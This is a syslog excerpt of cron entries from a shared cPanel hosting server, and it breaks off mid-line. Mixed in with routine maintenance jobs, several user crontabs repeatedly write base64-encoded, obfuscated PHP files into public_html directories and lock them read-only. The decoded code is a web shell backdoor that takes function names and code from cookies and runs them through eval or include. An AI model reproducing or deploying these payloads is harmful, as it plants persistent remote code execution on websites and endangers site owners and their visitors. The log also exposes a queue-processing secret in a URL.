Apr 19 06:20:02 medusa CROND[25830]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:20:02 medusa CROND[25832]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25833]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:20:02 medusa CROND[25834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 06:20:02 medusa CROND[25831]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25835]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:20:02 medusa CROND[25839]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:20:02 medusa CROND[25836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:20:02 medusa CROND[25845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25848]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25850]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:20:02 medusa CROND[25851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25853]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25855]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:20:02 medusa CROND[25856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25864]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:20:02 medusa CROND[25842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:20:02 medusa CROND[25875]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:20:02 medusa CROND[25878]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:20:02 medusa CROND[25885]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:20:02 medusa CROND[25886]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25873]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 06:20:02 medusa CROND[25884]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 06:20:02 medusa CROND[25887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:20:02 medusa CROND[25872]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 06:20:02 medusa CROND[25849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:20:02 medusa CROND[25880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:20:02 medusa CROND[25870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 06:21:02 medusa CROND[17858]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:21:02 medusa CROND[17923]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:21:02 medusa CROND[17924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:21:02 medusa CROND[17925]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:21:02 medusa CROND[17926]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:21:02 medusa CROND[17928]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:21:02 medusa CROND[17931]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:21:02 medusa CROND[17932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:21:02 medusa CROND[17933]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:21:02 medusa CROND[17930]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:21:02 medusa CROND[17937]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:21:02 medusa CROND[17940]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:21:02 medusa CROND[17941]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:21:02 medusa CROND[17936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:22:01 medusa CROND[9598]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:22:01 medusa CROND[9659]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0h